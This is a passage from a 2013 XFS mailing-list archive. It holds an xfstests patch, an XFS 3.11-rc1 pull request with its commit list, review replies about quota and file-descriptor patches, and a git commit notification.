cipher=AES128-SHA bits=128 verify=NO); Tue, 09 Jul 2013 13:07:29 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.41) with Microsoft SMTP Server (TLS) id 14.3.123.3; Tue, 9 Jul 2013 13:07:28 -0600 From: Josef Bacik To: , Subject: [PATCH] xfstests: exit out if _scratch_mount fails Date: Tue, 9 Jul 2013 15:07:27 -0400 X-ASG-Orig-Subj: [PATCH] xfstests: exit out if _scratch_mount fails Message-ID: <1373396847-7975-1-git-send-email-jbacik@fusionio.com> X-Mailer: git-send-email 1.7.7.6 MIME-Version: 1.0 Content-Type: text/plain X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim1.fusionio.com[66.114.96.53] X-Barracuda-Start-Time: 1373396849 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136285 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature I test some of the different mkfs options for btrfs, one set doesn't work properly with small file systems, so the fs won't mount. This is fine from a btrfs point of view, but tests that fail to mount the scratch fs will run anyway, so if it's a "fill the fs" sort of test this will wreak havoc. To fix this just error out of _scratch_mount fails. Thanks, Signed-off-by: Josef Bacik --- common/rc | 4 ++++ 1 files changed, 4 insertions(+), 0 deletions(-) diff --git a/common/rc b/common/rc index 4de1329..f11699f 100644 --- a/common/rc +++ b/common/rc @@ -276,6 +276,10 @@ _scratch_mount_options() _scratch_mount() { _mount -t $FSTYP `_scratch_mount_options $*` + if [ $? -ne 0 ]; then + echo "mount failed" + exit 1 + fi } _scratch_unmount() -- 1.7.7.6 From bpm@sgi.com Tue Jul 9 14:15:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1CD787F5A for ; Tue, 9 Jul 2013 14:15:10 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id ABAE230408A; Tue, 9 Jul 2013 12:15:09 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 49A24500B4B; Tue, 9 Jul 2013 14:15:09 -0500 (CDT) To: torvalds@linux-foundation.org Subject: [GIT PULL] XFS update for 3.11-rc1 Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com Message-Id: <20130709191509.49A24500B4B@whiskey.americas.sgi.com> Date: Tue, 9 Jul 2013 14:15:09 -0500 (CDT) From: bpm@sgi.com (Ben Myers) Hi Linus, Please pull these XFS updates for 3.11-rc1. This includes several bugfixes, part of the work for project quotas and group quotas to be used together, performance improvements for inode creation/deletion, buffer readahead, and bulkstat, implementation of the inode change count, an inode create transaction, and the removal of a bunch of dead code. There are also some duplicate commits that you already have from the 3.10-rc series. Thanks, Ben The following changes since commit f722406faae2d073cc1d01063d1123c35425939e: Linux 3.10-rc1 (2013-05-11 17:14:08 -0700) are available in the git repository at: git://oss.sgi.com/xfs/xfs.git tags/for-linus-v3.11-rc1 for you to fetch changes up to 83e782e1a1cc0159888e58e14dfc8f3289663338: xfs: Remove incore use of XFS_OQUOTA_ENFD and XFS_OQUOTA_CHKD (2013-06-28 17:39:22 -0500) ---------------------------------------------------------------- xfs: update for 3.11-rc1 - part of the work to allow project quotas and group quotas to be used together - inode change count - inode create transaction - block queue plugging in buffer readahead and bulkstat - ordered log vector support - removal of dead code in and around xfs_sync_inode_grab, xfs_ialloc_get_rec, XFS_MOUNT_RETERR, XFS_ALLOCFREE_LOG_RES, XFS_DIROP_LOG_RES, xfs_chash, ctl_table, and xfs_growfs_data_private - don't keep silent if sunit/swidth can not be changed via mount - fix a leak of remote symlink blocks into the filesystem when xattrs are used on symlinks - fix for fiemap to return FIEMAP_EXTENT_UNKOWN flag on delay extents - part of a fix for xfs_fsr - disable speculative preallocation with small files - performance improvements for inode creates and deletes ---------------------------------------------------------------- Chandra Seetharaman (6): xfs: Define a new function xfs_is_quota_inode() xfs: Replace macro XFS_DQUOT_TREE with a function xfs: Replace macro XFS_DQ_TO_QIP with a function xfs: Code cleanup and removal of some typedef usage xfs: Change xfs_dquot_acct to be a 2-dimensional array xfs: Remove incore use of XFS_OQUOTA_ENFD and XFS_OQUOTA_CHKD Dave Chinner (43): xfs: fix sub-page blocksize data integrity writes xfs: fix rounding in xfs_free_file_space xfs: Don't reference the EFI after it is freed xfs: fix missing KM_NOFS tags to keep lockdep happy xfs: xfs_da3_node_read_verify() doesn't handle XFS_ATTR3_LEAF_MAGIC xfs: xfs_attr_shortform_allfit() does not handle attr3 format. xfs: remote attribute lookups require the value length xfs: avoid nesting transactions in xfs_qm_scall_setqlim() xfs: remote attribute allocation may be contiguous xfs: remote attribute read too short xfs: remote attribute tail zeroing does too much xfs: correctly map remote attr buffers during removal xfs: fully initialise temp leaf in xfs_attr3_leaf_unbalance xfs: fully initialise temp leaf in xfs_attr3_leaf_compact xfs: rework remote attr CRCs xfs: don't emit v5 superblock warnings on write xfs: fix incorrect remote symlink block count xfs: fix split buffer vector log recovery support xfs: disable swap extents ioctl on CRC enabled filesystems xfs: add fsgeom flag for v5 superblock support. xfs: kill suid/sgid through the truncate path. xfs: fix dir3 freespace block corruption xfs: rework dquot CRCs xfs: fix remote attribute invalidation for a leaf xfs: fix log recovery transaction item reordering xfs: inode unlinked list needs to recalculate the inode CRC xfs: disable noattr2/attr2 mount options for CRC enabled filesystems xfs: increase number of ACL entries for V5 superblocks xfs: fix implicit padding in directory and attr CRC formats xfs: ensure btree root split sets blkno correctly xfs: don't shutdown log recovery on validation errors xfs: add pluging for bulkstat readahead xfs: plug directory buffer readahead xfs: don't use speculative prealloc for small files xfs: don't do IO when creating an new inode xfs: xfs_ifree doesn't need to modify the inode buffer xfs: Introduce ordered log vector support xfs: Introduce an ordered buffer item xfs: Inode create log items xfs: Inode create transaction reservations xfs: Inode create item recovery xfs: Use inode create transaction xfs: implement inode change count Eric Sandeen (1): xfs: check on-disk (not incore) btree root size in dfrag.c Jan Kara (1): xfs: Avoid pathological backwards allocation Jeff Liu (1): xfs: Remove struct xfs_chash from xfs_mount Jie Liu (7): xfs: Remove redundant error variable from xfs_growfs_data_private() xfs: Don't keep silent if sunit/swidth can not be changed via mount xfs: return FIEMAP_EXTENT_UNKNOWN for delayed allocation extent xfs: Remove two dead transaction log reservaion macros xfs: Remove XFS_MOUNT_RETERR xfs: Remove the left function variable from xfs_ialloc_get_rec() xfs: Remove dead function prototype xfs_sync_inode_grab() Joe Perches (1): xfs: Convert use of typedef ctl_table to struct ctl_table Mark Tinguely (1): xfs: fix the symbolic link assert in xfs_ifree Documentation/filesystems/xfs.txt | 3 + fs/xfs/Makefile | 1 + fs/xfs/xfs_acl.c | 31 +-- fs/xfs/xfs_acl.h | 31 ++- fs/xfs/xfs_alloc.c | 24 ++- fs/xfs/xfs_aops.c | 19 ++ fs/xfs/xfs_attr_leaf.c | 98 +++++---- fs/xfs/xfs_attr_leaf.h | 1 + fs/xfs/xfs_attr_remote.c | 408 +++++++++++++++++++++++--------------- fs/xfs/xfs_attr_remote.h | 10 + fs/xfs/xfs_bmap_btree.h | 2 + fs/xfs/xfs_btree.c | 10 + fs/xfs/xfs_buf.c | 3 +- fs/xfs/xfs_buf_item.c | 94 +++++---- fs/xfs/xfs_buf_item.h | 4 +- fs/xfs/xfs_da_btree.c | 7 +- fs/xfs/xfs_dfrag.c | 16 +- fs/xfs/xfs_dir2_format.h | 4 +- fs/xfs/xfs_dir2_leaf.c | 5 +- fs/xfs/xfs_dir2_node.c | 13 +- fs/xfs/xfs_dquot.c | 53 +++-- fs/xfs/xfs_dquot.h | 4 - fs/xfs/xfs_extfree_item.c | 5 +- fs/xfs/xfs_fs.h | 1 + fs/xfs/xfs_fsops.c | 6 +- fs/xfs/xfs_ialloc.c | 74 +++++-- fs/xfs/xfs_ialloc.h | 8 + fs/xfs/xfs_icache.c | 3 +- fs/xfs/xfs_icache.h | 1 - fs/xfs/xfs_icreate_item.c | 195 ++++++++++++++++++ fs/xfs/xfs_icreate_item.h | 52 +++++ fs/xfs/xfs_inode.c | 84 ++++---- fs/xfs/xfs_iomap.c | 13 ++ fs/xfs/xfs_iops.c | 50 +++-- fs/xfs/xfs_itable.c | 5 +- fs/xfs/xfs_log.c | 22 +- fs/xfs/xfs_log.h | 5 +- fs/xfs/xfs_log_cil.c | 77 ++++--- fs/xfs/xfs_log_recover.c | 218 +++++++++++++++++++- fs/xfs/xfs_mount.c | 110 +++++++--- fs/xfs/xfs_mount.h | 4 - fs/xfs/xfs_qm.c | 215 +++++++++++--------- fs/xfs/xfs_qm.h | 83 +++++--- fs/xfs/xfs_qm_syscalls.c | 91 +++++---- fs/xfs/xfs_quota.h | 49 +++-- fs/xfs/xfs_quotaops.c | 6 +- fs/xfs/xfs_sb.h | 6 + fs/xfs/xfs_super.c | 50 +++-- fs/xfs/xfs_symlink.c | 71 +++++-- fs/xfs/xfs_symlink.h | 2 +- fs/xfs/xfs_sysctl.c | 26 +-- fs/xfs/xfs_trace.h | 5 + fs/xfs/xfs_trans.c | 118 +++++++---- fs/xfs/xfs_trans.h | 16 +- fs/xfs/xfs_trans_buf.c | 34 +++- fs/xfs/xfs_trans_dquot.c | 87 ++++---- fs/xfs/xfs_trans_inode.c | 11 + fs/xfs/xfs_vnodeops.c | 19 +- 58 files changed, 1859 insertions(+), 804 deletions(-) create mode 100644 fs/xfs/xfs_icreate_item.c create mode 100644 fs/xfs/xfs_icreate_item.h From bpm@sgi.com Tue Jul 9 14:31:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 98C647F60 for ; Tue, 9 Jul 2013 14:31:28 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 715FA8F8064; Tue, 9 Jul 2013 12:31:28 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 353A8500B4B; Tue, 9 Jul 2013 14:31:28 -0500 (CDT) Date: Tue, 9 Jul 2013 14:31:28 -0500 From: Ben Myers To: Dave Chinner Cc: Chandra Seetharaman , xfs@oss.sgi.com Subject: Re: [PATCH 14/15] xfs: dquot log reservations are too small Message-ID: <20130709193128.GT20932@sgi.com> References: <1372313099-8121-1-git-send-email-david@fromorbit.com> <1372313099-8121-15-git-send-email-david@fromorbit.com> <1372439902.8341.155.camel@chandra-dt.ibm.com> <20130629024205.GF9047@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130629024205.GF9047@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Dave, On Sat, Jun 29, 2013 at 12:42:05PM +1000, Dave Chinner wrote: > I'll fix up the various typos and clarify the comments as you've > suggested. Are you still planning on reposting this one for 3.11? Thanks, Ben From bpm@sgi.com Tue Jul 9 15:00:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E84A67F62 for ; Tue, 9 Jul 2013 15:00:25 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9A0A08F8049; Tue, 9 Jul 2013 13:00:25 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 6E588500B4B; Tue, 9 Jul 2013 15:00:25 -0500 (CDT) Date: Tue, 9 Jul 2013 15:00:25 -0500 From: Ben Myers To: Eric Sandeen , Dave Chinner , Jeff Liu , Chandra Seetharaman , Carlos Maiolino Cc: xfs@oss.sgi.com Subject: XFS queue for 3.11-rc1 Message-ID: <20130709200025.GT32736@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.20 (2009-06-14) Hi, Here is what I currently have left on the queue for 3.11-rc1: Eric: - xfs: use XFS_BMAP_BMDR_SPACE vs. XFS_BROOT_SIZE_ADJ Dave: - [PATCH 01/15] xfs: update mount options documentation - [PATCH 13/15] xfs: remove local fork format handling from xfs_bmapi_write() - [PATCH 14/15] xfs: dquot log reservations are too small Chandra: - [PATCH v10 08/11] xfs: Add pquota fields where gquota is used. - [PATCH v10 09/11] xfs: Start using pquotaino from the superblock. - [PATCH v10 10/11] quota: Add proper versioning support to fs_quota_stat - [PATCH v10 11/11] xfs: Use new qs_pquota field in fs_quota_stat for Q_XGETQSTAT Jeff: - [PATCH] xfs: clean up unused codes at xfs_bulkstat() Carlos: - [PATCH] xfs: fix sgid inheritance for subdirectories inheriting default acls [V3] Some of these are ready to go and some still need review. Maybe we can still get them in. If I'm missing any please give a shout. I'd like to do another pull request on Thursday or Friday. Thanks, Ben From bpm@sgi.com Tue Jul 9 15:37:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C42977F66 for ; Tue, 9 Jul 2013 15:37:24 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 41CAFAC001; Tue, 9 Jul 2013 13:37:21 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id DE714500B53; Tue, 9 Jul 2013 15:37:20 -0500 (CDT) Date: Tue, 9 Jul 2013 15:37:20 -0500 From: Ben Myers To: Jeff Liu Cc: "xfs@oss.sgi.com" , Dave Chinner Subject: Re: [PATCH] xfs: clean up unused codes at xfs_bulkstat() Message-ID: <20130709203720.GU20932@sgi.com> References: <51D18964.2030708@oracle.com> <20130702103046.GD14996@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130702103046.GD14996@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Jul 02, 2013 at 08:30:46PM +1000, Dave Chinner wrote: > On Mon, Jul 01, 2013 at 09:51:32PM +0800, Jeff Liu wrote: > > From: Jie Liu > > > > There are some unused codes at xfs_bulkstat(): > > > > - Variable bp is defined to point to the on-disk inode cluster > > buffer, but it proved to be of no practical help. > > > > - We process the chunks of good inodes which were fetched by iterating > > btree records from an AG. When processing inodes from each chunk, > > the code recomputing agbno if run into the first inode of a cluster, > > however, the agbno is not being used thereafter. > > > > This patch tries to clean up those things. > > > > Signed-off-by: Jie Liu > > Reviewed-by: Dave Chinner Applied. From tinguely@sgi.com Tue Jul 9 15:39:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1A38A7F62 for ; Tue, 9 Jul 2013 15:39:10 -0500 (CDT) Received: from eagdhcp-232-133.americas.sgi.com (eagdhcp-232-133.americas.sgi.com [128.162.232.133]) by relay2.corp.sgi.com (Postfix) with ESMTP id 032FD30408C for ; Tue, 9 Jul 2013 13:39:09 -0700 (PDT) Message-ID: <51DC74EE.5010608@sgi.com> Date: Tue, 09 Jul 2013 15:39:10 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: xfs-oss Subject: Fwd: Re: [PATCH 13/15] xfs: remove local fork format handling from xfs_bmapi_write() References: <51CCF071.9000304@sgi.com> In-Reply-To: <51CCF071.9000304@sgi.com> X-Forwarded-Message-Id: <51CCF071.9000304@sgi.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sorry, I did not add the mailing list. --Mark. -------- Original Message -------- Subject: Re: [PATCH 13/15] xfs: remove local fork format handling from xfs_bmapi_write() Date: Thu, 27 Jun 2013 21:09:53 -0500 From: Mark Tinguely To: Dave Chinner On 06/27/13 01:04, Dave Chinner wrote: > From: Dave Chinner > > The conversion from local format to extent format requires > interpretation of the data in the fork being converted, so it cannot > be done in a generic way. It is up to the caller to convert the fork > format to extent format before calling into xfs_bmapi_write() so > format conversion can be done correctly. > > The code in xfs_bmapi_write() to convert the format is used > implicitly by the attribute and directory code, but they > specifically zero the fork size so that the conversion does not do > any allocation or manipulation. Move this conversion into the > shortform to leaf functions for the dir/attr code so the conversions > are explicitly controlled by all callers. > > Now we can remove the conversion code in xfs_bmapi_write. > > Signed-off-by: Dave Chinner > --- Looks good. Reviewed-by: Mark Tinguely From david@fromorbit.com Tue Jul 9 15:39:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6B6117F62 for ; Tue, 9 Jul 2013 15:39:41 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4F5D58F8066 for ; Tue, 9 Jul 2013 13:39:38 -0700 (PDT) X-ASG-Debug-ID: 1373402376-04cbb0468ed4a770001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id O97lbGMXgHxEXfvt for ; Tue, 09 Jul 2013 13:39:36 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuQMAM5z3FF5LD3k/2dsb2JhbABbgwmDHrlEhSgEAYEZF3SCIwEBBTocIxAIAw4KCSUPBSUDIROIDroRFo44gR0Hg3QDl1ORSoMjKg Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail04.adl6.internode.on.net with ESMTP; 10 Jul 2013 06:09:35 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Uweh9-0005NL-AY; Wed, 10 Jul 2013 06:39:31 +1000 Date: Wed, 10 Jul 2013 06:39:31 +1000 From: Dave Chinner To: Ben Myers Cc: Chandra Seetharaman , xfs@oss.sgi.com Subject: Re: [PATCH 14/15] xfs: dquot log reservations are too small Message-ID: <20130709203931.GJ3438@dastard> X-ASG-Orig-Subj: Re: [PATCH 14/15] xfs: dquot log reservations are too small References: <1372313099-8121-1-git-send-email-david@fromorbit.com> <1372313099-8121-15-git-send-email-david@fromorbit.com> <1372439902.8341.155.camel@chandra-dt.ibm.com> <20130629024205.GF9047@dastard> <20130709193128.GT20932@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130709193128.GT20932@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373402376 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136291 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jul 09, 2013 at 02:31:28PM -0500, Ben Myers wrote: > Hey Dave, > > On Sat, Jun 29, 2013 at 12:42:05PM +1000, Dave Chinner wrote: > > I'll fix up the various typos and clarify the comments as you've > > suggested. > > Are you still planning on reposting this one for 3.11? Yes. I was waiting for you to push out an updated tree so I could rebase everything I have before reposting.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Tue Jul 9 15:42:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E25397F5F for ; Tue, 9 Jul 2013 15:42:34 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id ACC4E30408D; Tue, 9 Jul 2013 13:42:34 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 72B69500B58; Tue, 9 Jul 2013 15:42:34 -0500 (CDT) Date: Tue, 9 Jul 2013 15:42:34 -0500 From: Ben Myers To: Dave Chinner Cc: Chandra Seetharaman , xfs@oss.sgi.com Subject: Re: [PATCH 14/15] xfs: dquot log reservations are too small Message-ID: <20130709204234.GU32736@sgi.com> References: <1372313099-8121-1-git-send-email-david@fromorbit.com> <1372313099-8121-15-git-send-email-david@fromorbit.com> <1372439902.8341.155.camel@chandra-dt.ibm.com> <20130629024205.GF9047@dastard> <20130709193128.GT20932@sgi.com> <20130709203931.GJ3438@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130709203931.GJ3438@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Jul 10, 2013 at 06:39:31AM +1000, Dave Chinner wrote: > On Tue, Jul 09, 2013 at 02:31:28PM -0500, Ben Myers wrote: > > Hey Dave, > > > > On Sat, Jun 29, 2013 at 12:42:05PM +1000, Dave Chinner wrote: > > > I'll fix up the various typos and clarify the comments as you've > > > suggested. > > > > Are you still planning on reposting this one for 3.11? > > Yes. I was waiting for you to push out an updated tree so I could > rebase everything I have before reposting.... Oh. Well it's out there. ;) -Ben From bpm@sgi.com Tue Jul 9 15:53:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B486F29DF8 for ; Tue, 9 Jul 2013 15:53:21 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9C86C8F8066; Tue, 9 Jul 2013 13:53:21 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 3A51B500B4B; Tue, 9 Jul 2013 15:53:21 -0500 (CDT) Date: Tue, 9 Jul 2013 15:53:21 -0500 From: Ben Myers To: Yann Droneaud Cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 10/13] xfs: use get_unused_fd_flags(0) instead of get_unused_fd() Message-ID: <20130709205321.GV20932@sgi.com> References: <8d21b76c621dbfc59b2dbbfc933f96170835304d.1372777600.git.ydroneaud@opteya.com> <20130708224133.GA23250@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130708224133.GA23250@sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) Yann, On Mon, Jul 08, 2013 at 05:41:33PM -0500, Ben Myers wrote: > On Tue, Jul 02, 2013 at 06:39:34PM +0200, Yann Droneaud wrote: > > Macro get_unused_fd() is used to allocate a file descriptor with > > default flags. Those default flags (0) can be "unsafe": > > O_CLOEXEC must be used by default to not leak file descriptor > > across exec(). > > > > Instead of macro get_unused_fd(), functions anon_inode_getfd() > > or get_unused_fd_flags() should be used with flags given by userspace. > > If not possible, flags should be set to O_CLOEXEC to provide userspace > > with a default safe behavor. > > > > In a further patch, get_unused_fd() will be removed so that > > new code start using anon_inode_getfd() or get_unused_fd_flags() > > with correct flags. > > > > This patch replaces calls to get_unused_fd() with equivalent call to > > get_unused_fd_flags(0) to preserve current behavor for existing code. > > > > The hard coded flag value (0) should be reviewed on a per-subsystem basis, > > and, if possible, set to O_CLOEXEC. > > > > Signed-off-by: Yann Droneaud > > > > --- > > fs/xfs/xfs_ioctl.c | 2 +- > > 1 file changed, 1 insertion(+), 1 deletion(-) > > > > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > > index 5e99968..dc5b659 100644 > > --- a/fs/xfs/xfs_ioctl.c > > +++ b/fs/xfs/xfs_ioctl.c > > @@ -248,7 +248,7 @@ xfs_open_by_handle( > > goto out_dput; > > } > > > > - fd = get_unused_fd(); > > + fd = get_unused_fd_flags(0); > > O_CLOEXEC should be fine in this case. > > Reviewed-by: Ben Myers Applied at git://oss.sgi.com/xfs/xfs.git. Looks like I was wrong about O_CLOEXEC being ok here. There may be applications which open_by_handle then fork/exec and expect to still be able to use that file descriptor. Thanks, Ben From bpm@oss.sgi.com Tue Jul 9 15:54:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 8C6BC29DF8; Tue, 9 Jul 2013 15:54:26 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. for-linus-v3.11-rc1-3-g862a629 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: a69c7c077228b0bef38ccb1d385c099e132fe54b X-Git-Newrev: 862a62937e76a91da218c1ee4dceb7b0700fed67 Message-Id: <20130709205426.8C6BC29DF8@oss.sgi.com> Date: Tue, 9 Jul 2013 15:54:26 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated 862a629 xfs: use get_unused_fd_flags(0) instead of get_unused_fd() 9cee4c5 xfs: clean up unused codes at xfs_bulkstat() from a69c7c077228b0bef38ccb1d385c099e132fe54b (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 862a62937e76a91da218c1ee4dceb7b0700fed67 Author: Yann Droneaud Date: Tue Jul 2 18:39:34 2013 +0200 xfs: use get_unused_fd_flags(0) instead of get_unused_fd() Macro get_unused_fd() is used to allocate a file descriptor with default flags. Those default flags (0) can be "unsafe": O_CLOEXEC must be used by default to not leak file descriptor across exec(). Instead of macro get_unused_fd(), functions anon_inode_getfd() or get_unused_fd_flags() should be used with flags given by userspace. If not possible, flags should be set to O_CLOEXEC to provide userspace with a default safe behavor. In a further patch, get_unused_fd() will be removed so that new code start using anon_inode_getfd() or get_unused_fd_flags() with correct flags. This patch replaces calls to get_unused_fd() with equivalent call to get_unused_fd_flags(0) to preserve current behavor for existing code. The hard coded flag value (0) should be reviewed on a per-subsystem basis, and, if possible, set to O_CLOEXEC. Signed-off-by: Yann Droneaud Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit 9cee4c5b7b706157554cb06ca949997240da725a Author: Jie Liu Date: Mon Jul 1 21:51:32 2013 +0800 xfs: clean up unused codes at xfs_bulkstat() There are some unused codes at xfs_bulkstat(): - Variable bp is defined to point to the on-disk inode cluster buffer, but it proved to be of no practical help. - We process the chunks of good 